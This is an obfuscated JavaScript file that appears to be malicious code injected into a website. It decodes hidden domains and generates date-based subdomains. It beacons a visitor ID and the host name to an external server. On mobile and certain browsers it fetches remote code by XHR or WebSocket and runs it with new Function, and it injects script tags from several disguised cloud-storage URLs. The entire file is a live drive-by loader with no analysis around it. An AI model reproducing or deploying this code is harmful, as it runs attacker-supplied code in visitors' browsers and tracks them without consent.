function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();